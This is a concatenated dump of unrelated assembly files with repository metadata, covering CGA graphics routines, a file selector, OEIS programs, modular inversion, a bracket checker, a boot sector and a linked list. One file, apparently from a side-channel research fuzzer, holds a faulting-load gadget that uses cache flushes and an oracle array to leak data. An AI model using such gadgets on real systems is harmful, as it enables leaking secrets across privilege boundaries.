: Video memory base ;; AX : X coordinate ;; BX : Y coordinate ; Return the color value in DL ; Incidently, the zero flag is set if pixel is zero. getPixel: push ax push cx push si ; row address mov dx, bx shl bx, 1 add bx, cgarows mov si, di add si, [bx] mov bx, dx ; row offset mov dx, ax shr dx, 1 shr dx, 1 add si, dx ; Isolate the correct 2 bits mov cl, al inc cl and cl, 3 shl cl, 1 ES lodsb ; DS:SI to al rol al, cl and ax, 3 mov dx, ax pop si pop cx pop ax ret ;;;; getFontTile : Point DS:SI to a given tile ID ; Ascii in AL (range 32 - 255) getFontTile: push ax push cx xor ah,ah sub al, 32 mov cl, 4 shl ax, cl add ax, font8x8 mov si, ax pop ax pop cx ret ;;;; blit_imageXY : Blit an arbitrary size image at coordinate ; ; ds:si : Pointer to tile data ; es:di : Video memory base (b800:0) ; ax: X coordinate (in pixels) (ANDed with 0xfffc) ; bx: Y coordinate (in pixels) (ANDed with 0xfffe) ; cx: Image width (must be multiple of 4) ; dx: Image height (must be multiple of 2) ; blit_imageXY: push ax push bx push cx push dx push di ; X /= 4 (4 pixel per memory byte) shr ax, 1 shr ax, 1 add di, ax ; Offset in line ; Y /= 2 (only support even scanlines) shr bx, 1 ; Y *=80 (skip to target row) mov ax, 80 push dx mul bx pop dx add di, ax ;; mov bx, dx ; Height shr cx, 1 ; Convert width pixels to bytes (/4) shr cx, 1 call blit_image pop di pop dx pop cx pop bx pop ax ret ;;;; blit_image : Blit an arbitrary image to a specified screen location. ; ds:si : Pointer to tile data ; es:di : Offset (in video memory) (Note: Must be on an even line) ; bx: Number of lines ; cx: Number of bytes per line ; ; Due to the CGA low-res packing arrangement, the offset value given ; in byte places the tile on a grid of 4 pixels. blit_image: push ax push bx push cx push dx push ds push si push es push di ; save pointer in dx mov dx, di ; pre-compute how many byte to next line mov ax, 80 sub ax, cx ; ax = increment ; Save BX and compute the number of even lines >> 1 push bx shr bx, 1 _bi_lp: push cx rep movsb pop cx add di, ax ; Next line dec bx jnz _bi_lp ;llll Even lines are done. restore original BX pop bx shr bx, 1 ; Divide by 2 again jz _bi_done ; 0 means there was a single line. Already blitted above, nothing to do. mov di, dx ; Restore origin pointer add di, 0x2000 ; Skip to odd field _bi_lp2: push cx rep movsb pop cx add di, ax ; Next line dec bx jnz _bi_lp2 _bi_done: pop di pop es pop si pop ds pop dx pop cx pop bx pop ax ret ;;;; blit_tile ; ds:si : Pointer to tile data ; es:di : Video memory base (b800:0) ; ax: X coordinate (in pixels) ; bx: Y coordinate (in pixels) ; blit_tile32XY: push cx push dx mov cx, 32 mov dx, 32 call blit_imageXY pop dx pop cx ret setHighIntensity: push ax push dx mov dx, 3D9h mov al, 0x10 out dx, al ;;; VGA ;mov ah, 0x0b ;mov bh, 0 ;mov bl, 0x10 ;int 10h ;;; END VGA ;;; VGA mov ax, 1000h mov bl, 2 mov bh, 0x14 int 10h mov bl, 3 mov bh, 0x16 int 10h ;;; END VGA pop dx pop ax ret setLowIntensity: push ax push dx mov dx, 3D9h mov al, 0x00 out dx, al ;;; VGA ;mov ah, 0x0b ;mov bh, 0 ;mov bl, 0x00 ;int 10h ;;; END VGA ;;; VGA mov ax, 1000h mov bl, 2 mov bh, 0x4 int 10h mov ax, 1000h mov bl, 3 mov bh, 0x6 int 10h ;;; pop dx pop ax ret ;;;; Set background color ; BL : Color (IBGR) setBackgroundColor: push ax push bx ; push dx mov ah, 0Bh ; Set palette mov bh, 0 ; background ; mov bl, 0 int 10h ; mov dx, 03d9h ; mov al, [reg_3d9h] ; and al, 0f0h ; or al, bl ; out dx, al ; mov [reg_3d9h], al ; pop dx pop bx pop ax ret ;;;; Flash background flashBackground: push ax push bx push cx push dx call waitVertRetrace mov bl, 06h ; Brow call setBackgroundColor call waitVertRetrace call waitVertRetrace call waitVertRetrace call waitVertRetrace mov bl, 0Eh ; Yellow call setBackgroundColor call waitVertRetrace call waitVertRetrace call waitVertRetrace call waitVertRetrace mov bl, 0 ; Black call setBackgroundColor pop dx pop cx pop bx pop ax ret ;;;; Initialize video library. initvlib: call initvlib_common call initAnimations ret ;;;; setvidemode ; ; Returns with CF set if it fails ; setvidmode: push ax push bx push dx mov ah, 0fh ; Get Video State int 10h mov byte [old_mode], al mov ah, 00h ; Set video mode mov al, 04h ; Mode 4 int 10h mov ah, 0fh ; Get Video State int 10h cmp al, 04h ; Mode 4 je _set_video_mode_ok stc ; Indicate failure jmp _set_video_mode_return ; Ok _set_video_mode_ok: mov ah, 0bh ; Set palette mov bh, 1 ; 4-color palette select ;mov bl, 0 ; green/red/brown mov bl, 1 ; cyan magenta white int 10h mov ah, 0Bh ; Set palette mov bh, 0 ; background mov bl, 0 int 10h clc ; Clear carry (success) _set_video_mode_return: pop dx pop bx pop ax ret restorevidmode: push ax mov ah, 00 mov al, [old_mode] int 10h pop ax ret ;;;;;;;;;;;;;; ; getTile8 : Points DS:SI to a given tile ID ; Tile ID in AX getTile8: push ax push cx mov cl, 4 shl ax, cl add ax, first8x8_tile mov si, ax pop cx pop ax ret ;;;;;;;;;;;;;; ; getTile32 : Points DS:SI to a given tile ID ; Tile ID in AX getTile32: push ax push cx mov cl, 8 shl ax, cl add ax, first32x32_tile mov si, ax pop cx pop ax ret ;;;;;;;;;;;;;; ; getTile16 : Points DS:SI to a given tile ID ; Tile ID in AX getTile16: push ax push cx mov cl, 6 shl ax, cl ; x64 add ax, first16x16_tile mov si, ax pop cx pop ax ret ; Decompress to buffer, then copy to screen ; Arg 1: compressed data address %macro loadScreen 1 mov si, %1 mov ax, ds mov es, ax mov di, screen_backup call lz4_decompress ; Restore ES:DI call setupVRAMpointer call restorescreen %endmacro section .data font8x8: incbin "res_cga/font.bin" ; Starts at ASCII 32 cgarows: incbin "res_cga/rows.bin" section .bss reg_3d9h: resb 1 ; Register is write only screen_backup: resb 2000h + (320*100/4) section .text %include 'cgalib_blit8x8.asm' %include 'cgalib_blit16x16.asm' %include 'cgalib_effects.asm'
13.2
85
0.668893
d72a8d4f821ea26d84f1d82230f053fe5a406a88
2,413
asm
Assembly
util/menus/fsel.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/menus/fsel.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/menus/fsel.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Select file via FILE-Select V0.04 include dev8_keys_thg include dev8_keys_menu include dev8_mac_xref section utility xdef mu_fsel ;+++ ; This routine use file-select ; ; Entry Exit ; D0.l error, 0 or +1 for ESC or no string ; D1.l origin or -1 preserved ; D2.l sub-colour.w | colour.w ; D4.l extension name preserved ; D5.l number of lines preserved ; A0 menu title preserved ; A2 default name preserved ; A3 directory name preserved ; A4 string buffer preserved ;--- stk.frm equ $40 filereg reg d1-d5/a0-a6 mu_fsel movem.l filereg,-(sp) sub.l #stk.frm,sp move.l sp,a6 ; prepare stack movem.l d1-d2,-(sp) move.l #'FSEL',d2 ; we want a FILE SELECT xbsr ut_usmen ; use MENU thing movem.l (sp)+,d1-d2 bne.s file_rts ; failed, so return error move.l #(thp.call+thp.str)<<16,d3 move.l d3,fs_mennm-4(a6) ; menu name is a string move.l a0,fs_mennm(a6) ; menu name move.l d3,fs_defnm-4(a6) ; default name is a string move.l a2,fs_defnm(a6) ; default name move.l #(thp.upd+thp.str)<<16,fs_dirnm-4(a6) ; string and please update move.l a3,fs_dirnm(a6) ; directory name move.l #(thp.upd+thp.str)<<16,fs_extnm-4(a6) ; string and please update move.l d4,fs_extnm(a6) ; extension name move.l d5,fs_lines(a6) ; number of lines swap d1 move.l d1,fs_xpos(a6) ; x-position swap d1 move.l d1,fs_ypos(a6) and.l #$00ff00ff,d2 ; only byte move.l d2,fs_mainc(a6) ; main colourway swap d2 move.l d2,fs_filec(a6) ; file colourway move.l #(thp.ret+thp.str)<<16,fs_fname-4(a6) ; return param is a string move.l a4,fs_fname(a6) ; pointer to return parameter move.l a1,a4 ; address of Thing move.l a6,a1 jsr thh_code(a4) ; call the Menu tst.l d0 bmi.s file_cont ; error bne.s save_esc ; esc or no file selected ?? move.l fs_fname(a6),a0 tst.w (a0) ; no file selected ? beq.s save_esc ; save ESC moveq #0,d0 ; clear d0 bra.s file_cont save_esc moveq #1,d0 ; say it's ESC!! file_cont xbsr ut_frmen ; and free Menu Extension file_rts add.l #stk.frm,sp ; adjust stack movem.l (sp)+,filereg tst.l d0 rts end
24.13
78
0.59511
8f582a5d42d93cd5603e166a56fa3b0852e7a9bc
328
asm
Assembly
programs/oeis/114/A114378.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/114/A114378.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/114/A114378.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A114378: Area of annuli of consecutive integer thickness. ; 3,25,84,201,392,678,1077,1608,2290,3141,4181,5428,6902,8620,10602,12867,15434,18321,21548,25132,29094,33451,38223,43429,49087,55216,61835,68964,76620,84823,93591,102943,112899,123477,134695,146574 add $0,1 cal $0,247194 ; a(n) = ceiling(Pi*n^3). mov $1,$0 sub $1,1
41
198
0.753049
e25d6db2b6002a5861ef98f532636dcf08ce6da2
1,317
asm
Assembly
ecdsa128/src/GFp_src/src/invmod.asm
FloydZ/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
11
2015-03-17T10:31:23.000Z
2022-01-21T17:42:43.000Z
ecdsa128/src/GFp_src/src/invmod.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
null
null
null
ecdsa128/src/GFp_src/src/invmod.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
6
2018-01-29T16:06:36.000Z
2021-05-08T19:22:24.000Z
.686p .mmx .model flat,stdcall option casemap:none option prologue:none option epilogue:none include ..\..\lib\gfp.inc extern __mod:DWORD .data? temp_a BIGINT<> temp_c BIGINT<> temp_u BIGINT<> temp_v BIGINT<> .code ;"Software Implementation of the NIST Elliptic Curves Over Prime Fields" ; Algorithm 12 (modified) invmod proc ptrInOut:DWORD pushad mov esi, dword ptr [esp+20h+4] mov eax, offset temp_u mov ebx, offset temp_v mov ecx, offset temp_a mov edx, offset temp_c invoke copy, esi, eax invoke copy, offset __mod, ebx invoke zero, ecx invoke zero, edx mov dword ptr [ecx], 1 @cmp_u_0: invoke comparezero, eax jz @exit @TESTLOWBIT_u: test dword ptr [eax], 1 jnz @TESTLOWBIT_v invoke div2, eax invoke div2mod, ecx jmp @TESTLOWBIT_u @TESTLOWBIT_v: test dword ptr [ebx], 1 jnz @COMPARE_u_v invoke div2, ebx invoke div2mod, edx jmp @TESTLOWBIT_v @COMPARE_u_v: invoke compare, eax, ebx ;u==v ja @u_gt_v jz @exit invoke submod, ebx, eax, ebx ;v=v-u invoke submod, edx, ecx, edx ;c=c-a jmp @cmp_u_0 @u_gt_v: invoke submod, eax, ebx, eax ;u=u-v @u_gtqu_v: invoke submod, ecx, edx, ecx ;a=a-c jmp @cmp_u_0 @exit: invoke copy, edx, esi invoke zero, eax invoke zero, ebx invoke zero, ecx invoke zero, edx popad ret 4 invmod endp end
14.315217
72
0.700076
39551631a9c7673a2adf90578352d714206d7a7b
2,989
asm
Assembly
sem1/asc/Paranteze/main.asm
itsbratu/bachelor
b3bcae07fc8297fb0557a4bf752b20c6104c2563
[ "MIT" ]
null
null
null
sem1/asc/Paranteze/main.asm
itsbratu/bachelor
b3bcae07fc8297fb0557a4bf752b20c6104c2563
[ "MIT" ]
null
null
null
sem1/asc/Paranteze/main.asm
itsbratu/bachelor
b3bcae07fc8297fb0557a4bf752b20c6104c2563
[ "MIT" ]
null
null
null
bits 32 global start extern exit , printf import exit msvcrt.dll import printf msvcrt.dll segment data use32 class=data s db "[](()){}{}{}[" , 0 len equ ($-s) rotunde dd 0 patrate dd 0 acolade dd 0 true db "Parantezarea data este corecta ! " , 0 false db "Parantezarea data nu este corecta ! " , 0 segment code use32 class=code start: mov ecx , len dec ecx mov esi , s parcurgere: lodsb xor ebx , ebx cmp al , '(' je rotunda1 cmp al , ')' je rotunda2 cmp al , '[' je patrata1 cmp al , ']' je patrata2 cmp al , '{' je acolada1 cmp al , '}' je acolada2 rotunda1: xor ebx , ebx mov ebx , dword[rotunde] inc ebx mov dword[rotunde] , ebx jmp final_curr rotunda2: xor ebx , ebx mov ebx , dword[rotunde] dec ebx cmp ebx , 0 jl not_solution mov dword[rotunde] , ebx jmp final_curr patrata1: xor ebx , ebx mov ebx , dword[patrate] inc ebx mov dword[patrate] , ebx jmp final_curr jmp next_one revenire: loop parcurgere jmp comp_zero next_one: patrata2: xor ebx , ebx mov ebx , dword[patrate] dec ebx cmp ebx , 0 jl not_solution mov dword[patrate] , ebx jmp final_curr acolada1: xor ebx , ebx mov ebx , dword[acolade] inc ebx mov dword[acolade] , ebx jmp final_curr acolada2: xor ebx , ebx mov ebx , dword[acolade] dec ebx cmp ebx , 0 jl not_solution mov dword[acolade] , ebx jmp final_curr final_curr: cmp ecx , 0 ja revenire comp_zero: mov eax , dword[rotunde] mov ebx , dword[patrate] mov ecx , dword[acolade] cmp eax , 0 jne not_solution cmp ebx , 0 jne not_solution cmp ecx , 0 jne not_solution push dword true call [printf] add esp , 4 jmp final_prog not_solution: push dword false call [printf] add esp , 4 final_prog: push dword 0 call [exit]
24.908333
55
0.399465
7bbf02158044c60ea5276006bb277d313f4cfed0
304
asm
Assembly
programs/oeis/017/A017777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/017/A017777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/017/A017777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A017777: Binomial coefficients C(61,n). ; 1,61,1830,35990,521855,5949147,55525372,436270780,2944827765,17341763505,90177170226,418094152866,1742058970275,6566222272575,22512762077400,70539987842520,202802465047245,536830054536825,1312251244423350,2969831763694950,6236646703759395 mov $1,61 bin $1,$0
50.666667
240
0.855263
16463b2a47f2837879577532e2955d12928860c8
378
asm
Assembly
tests.asm
Nircek/asm-tests
67d310b828ecfe649c84ab060443ed84beb8671d
[ "MIT" ]
null
null
null
tests.asm
Nircek/asm-tests
67d310b828ecfe649c84ab060443ed84beb8671d
[ "MIT" ]
null
null
null
tests.asm
Nircek/asm-tests
67d310b828ecfe649c84ab060443ed84beb8671d
[ "MIT" ]
null
null
null
; https://wiki.osdev.org/Babystep2 mov ax, 0x07c0 mov ds, ax mov si, msg ch_loop:lodsb or al, al ; zero=end or str jz hang ; get out mov ah, 0x0E int 0x10 jmp ch_loop hang: jmp hang msg db 'Hello World!', 13, 10, 0 times 510-($-$$) db 0 db 0x55 db 0xAA times 1024*1024-($-$$) db 0 ; in my version vdi have to have at least 1 MB size
18.9
79
0.603175
d6c65611daaa036b12c0de89121bf87d7b1d86de
8,303
asm
Assembly
linked-list.asm
pauloapanucci/linked-list-assembly
4104a5069507ab271bee9994c7fc1d6bbca025a7
[ "MIT" ]
null
null
null
linked-list.asm
pauloapanucci/linked-list-assembly
4104a5069507ab271bee9994c7fc1d6bbca025a7
[ "MIT" ]
null
null
null
linked-list.asm
pauloapanucci/linked-list-assembly
4104a5069507ab271bee9994c7fc1d6bbca025a7
[ "MIT" ]
null
null
null
.section .data titgeral: .asciz "\n*** LINKED-LIST ***\n\n" titlista: .asciz "\nLISTANDO:\n" titinsere: .asciz "\nINSERINDO:\n" titremove: .asciz "\nREMOVENDO:\n" titatualiza: .asciz "\nATUALIZANDO:\n" titmostra: .asciz "\nELEMENTOS DA LISTA:\n" titreg: .asciz "\nRegistro no %d:" menu: .asciz "\nESCOLHA A OPCAO:\n 1 - INSERIR\n 2 - REMOVER\n 3 - CONSULTAR\n 4 - ATUALIZAR\n 5 - LISTAR\n 6 - SAIR\n> " msgerro: .asciz "\nOPCAO INCORRETA!\n" msgvazia: .asciz "\nLISTA VAZIA!\n" msgremov: .asciz "\nREGISTRO REMOVIDO DA LISTA!\n" msginser: .asciz "\nREGISTRO INSERIDO NA LISTA!\n" msgatualiza: .asciz "\nFORNECA OS NOVOS DADOS DO REGISTRO A SER ATUALIZADO:\n" msgatualizafim: .asciz "\nREGISTRO ATUALIZADO!\n" msginexistente: .asciz "\nREGISTRO INEXISTENTE!\n" nomeconsulta: .space 44 pedenome: .asciz "\nDigite o nome: " pededata: .asciz "\nData de Nascimento" pededia: .asciz "\n Digite o dia: " pedemes: .asciz "\n Digite o mes: " pedeano: .asciz "\n Digite o ano: " pedesexo: .asciz "Qual o sexo, <F>eminino ou <M>asculino?: " pedeprofissao: .asciz "\nDigite a profissao: " pedesalario: .asciz "\nDigite o salario: " pedenomeconsulta: .asciz "\nDigite o nome do registro: " mostranome: .asciz "\nNome: %s" mostradata: .asciz "\nData de Nascimento: %d/%d/%d" mostrasexo: .asciz "\nSexo: %c" mostraprofissao: .asciz "\nProfissao: %s" mostrasalario: .asciz "\nSalario: %lf" mostrapt: .asciz "\nptreg = %d\n" formastr: .asciz "%s" formach: .asciz "%c" formaint: .asciz "%d" formafloat: .asciz "%lf" pulalinha: .asciz "\n" NULL: .int 0 opcao: .int 0 nome: .space 44 dia: .space 8 mes: .space 8 ano: .space 8 sexo: .space 4 profissao: .space 24 salario: .space 8 prox: .int NULL naloc: .int 108 ptinicio: .int NULL ptatual: .int NULL ptanterior: .int NULL ptfim: .int NULL ptreg: .int NULL flag: .int 0 .section .text .globl _start _start: jmp main # ---------- LER DADOS ---------- # le_dados: pushl %edi pushl $pedenome call printf addl $4, %esp call gets popl %edi addl $44, %edi pushl %edi pushl $pededata call printf addl $4, %esp pushl $pededia call printf addl $4, %esp pushl $formaint call scanf addl $4, %esp popl %edi addl $8, %edi pushl %edi pushl $formach call scanf addl $4, %esp pushl $pedemes call printf addl $4, %esp pushl $formaint call scanf addl $4, %esp popl %edi addl $8, %edi pushl %edi pushl $formach call scanf addl $4, %esp pushl $pedeano call printf addl $4, %esp pushl $formaint call scanf addl $4, %esp popl %edi addl $8, %edi pushl %edi pushl $formach call scanf addl $4, %esp pushl $pedesexo call printf addl $4, %esp pushl $formach call scanf addl $4, %esp popl %edi addl $4, %edi pushl %edi pushl $formach call scanf addl $4, %esp pushl $pedeprofissao call printf addl $4, %esp call gets popl %edi addl $24, %edi pushl %edi pushl $pedesalario call printf addl $4, %esp pushl $formafloat call scanf addl $4, %esp popl %edi addl $8, %edi movl $NULL, (%edi) subl $104, %edi RET # ---------- MOSTRAR DADOS ---------- # mostra_dados: finit pushl %edi pushl $mostranome call printf addl $4, %esp popl %edi addl $44, %edi pushl %edi addl $16, %edi pushl (%edi) subl $8, %edi pushl (%edi) subl $8, %edi pushl (%edi) pushl $mostradata call printf add $16, %esp popl %edi addl $24, %edi pushl %edi pushl (%edi) pushl $mostrasexo call printf addl $8, %esp popl %edi addl $4, %edi pushl %edi pushl $mostraprofissao call printf addl $4, %esp popl %edi addl $24, %edi pushl %edi #pushl (%edi) fldl (%edi) subl $8, %esp fstl (%esp) pushl $mostrasalario call printf addl $12, %esp popl %edi subl $96,%edi RET # ---------- INSERIR NA LISTA ---------- # procuraposicao: movl %eax, ptanterior #pt anterior setado como registro atual movl 104(%eax), %ebx # vai pro proximo registro movl %ebx, ptatual pushl ptinicio pushl %edi call strcasecmp addl $8, %esp cmpl $0, %eax jle insereinicio pushl ptfim pushl %edi call strcasecmp addl $8, %esp cmpl $0, %eax jge inserefim continuaprocura: movl ptatual, %eax cmpl %eax, ptfim je insereposicao movl %eax, ptatual pushl ptatual pushl %edi call strcasecmp addl $8, %esp cmpl $0, %eax jle insereposicao movl ptatual, %eax movl %eax, ptanterior #pt anterior setado como registro atual movl 104(%eax), %ebx # vai pro proximo registro movl %ebx, ptatual jmp continuaprocura insereposicao: movl ptatual, %eax movl ptanterior, %esi movl %edi, 104(%esi) movl %eax, 104(%edi) jmp continuainsere insereinicio: movl ptinicio, %esi movl %esi, 104(%edi) movl %edi, ptinicio jmp continuainsere inserefim: movl ptfim, %eax movl %edi, 104(%eax) movl %edi, ptfim jmp continuainsere insere: pushl $titinsere call printf addl $4, %esp insereatualiza: movl naloc, %ecx pushl %ecx call malloc movl %eax, ptreg addl $4, %esp movl ptreg, %edi call le_dados #movl NULL, %esi #pt anterior movl ptinicio, %eax #pt proximo cmpl $NULL, %eax jne procuraposicao # procura a posicao do elemento na lista movl %eax, 104(%edi) movl %edi, ptinicio movl %edi, ptfim continuainsere: pushl $msginser call printf addl $4, %esp RET # ---------- REMOVER ---------- # remove: pushl $titremove call printf addl $4, %esp movl $0, %eax removeatualiza: movl %eax, flag call consulta movl $0, %eax cmpl %eax, flag je retornoremove cmpl %edi, ptinicio je removeinicio cmpl %edi, ptfim je removefim jmp removemeio removeinicio: movl 104(%edi), %eax movl %eax, ptinicio pushl %edi call free pushl $msgremov call printf addl $8, %esp jmp retornoremove removefim: movl ptanterior, %eax movl %eax, ptfim pushl %edi call free pushl $msgremov call printf addl $8, %esp jmp retornoremove removemeio: movl ptanterior, %esi movl 104(%edi), %eax movl %eax, 104(%esi) pushl %edi call free pushl $msgremov call printf addl $8, %esp retornoremove: RET # ---------- CONSULTAR NA LISTA ---------- # consulta: movl ptinicio, %edi cmpl $NULL, %edi je consultavazia pushl $pedenomeconsulta call printf pushl $nomeconsulta call gets addl $8, %esp andaconsulta: pushl %edi pushl $nomeconsulta call strcasecmp addl $8, %esp cmpl $0, %eax je sucessoconsulta cmpl %edi, ptfim je fimconsulta movl %edi, ptanterior movl 104(%edi), %edi jmp andaconsulta consultavazia: pushl $msgvazia call printf addl $4, %esp jmp retornoconsulta sucessoconsulta: movl $1, %eax movl %eax, flag #flag para ser usado no atualiza e no remove call mostra_dados pushl $pulalinha call printf addl $4, %esp jmp retornoconsulta fimconsulta: pushl $msginexistente call printf addl $4, %esp retornoconsulta: RET # ---------- ATUALIZAR---------- # atualiza: pushl $titatualiza call printf addl $4, %esp movl $0, %eax movl %eax, flag call removeatualiza movl $0, %eax cmpl %eax, flag je retornoatualiza pushl $msgatualiza call printf addl $4, %esp call insereatualiza pushl $msgatualizafim call printf addl $4, %esp retornoatualiza: RET # ---------- LISTAR ---------- # lista: pushl $titlista call printf addl $4, %esp movl ptinicio, %edi cmpl $NULL, %edi je listavazia jne andalista listavazia: pushl $msgvazia call printf addl $4, %esp jmp retornolista andalista: call mostra_dados pushl $pulalinha call printf addl $4, %esp cmpl %edi, ptfim je retornolista movl 104(%edi), %edi jmp andalista retornolista: RET # ---------- MENU PRINCIPAL ---------- # menuop: pushl $menu call printf pushl $opcao pushl $formaint call scanf addl $12, %esp pushl $formach # para remover o enter call scanf addl $4, %esp cmpl $1, opcao jz callinsere cmpl $2, opcao jz callremove cmpl $3, opcao jz callconsulta cmpl $4, opcao jz callatualiza cmpl $5, opcao jz calllista cmpl $6, opcao jz fim pushl $msgerro call printf addl $4, %esp jmp menuop callinsere: call insere jmp menuop callremove: call remove jmp menuop callconsulta: call consulta jmp menuop callatualiza: call atualiza jmp menuop calllista: call lista jmp menuop # ---------- MAIN ---------- # main: pushl $titgeral call printf jmp menuop # ---------- FIM ---------- # fim: pushl $0 call exit
15.636535
121
0.669999
f489c9df0530f028ee53d826a7bb123c8612a120
3,180
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_402_75.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_402_75.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2_notsx.log_402_75.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x5f37, %rsi lea addresses_A_ht+0x136c3, %rdi clflush (%rdi) nop nop nop dec %rax mov $43, %rcx rep movsw nop nop nop nop nop cmp $27335, %rbx lea addresses_normal_ht+0x1e737, %rsi lea addresses_normal_ht+0xdae1, %rdi nop nop inc %r9 mov $69, %rcx rep movsw nop dec %rax lea addresses_A_ht+0x19b37, %r9 clflush (%r9) and $18419, %r8 movb $0x61, (%r9) nop nop xor %rsi, %rsi lea addresses_normal_ht+0x121d7, %rdi clflush (%rdi) nop nop nop nop nop cmp %rax, %rax movl $0x61626364, (%rdi) nop nop nop nop nop sub %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 ret .global s_faulty_load s_faulty_load: push %r11 push %rbp push %rbx push %rdi push %rdx // Faulty Load mov $0x737, %r11 clflush (%r11) nop nop nop and $34007, %rbx vmovaps (%r11), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdx lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rdx pop %rdi pop %rbx pop %rbp pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'44': 401, '00': 1} 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 */
29.444444
1,205
0.659434
8e095bbe16191a60a562ebe6be70b6f78cb50fe4
4,576
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_966_2553.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_966_2553.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_966_2553.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
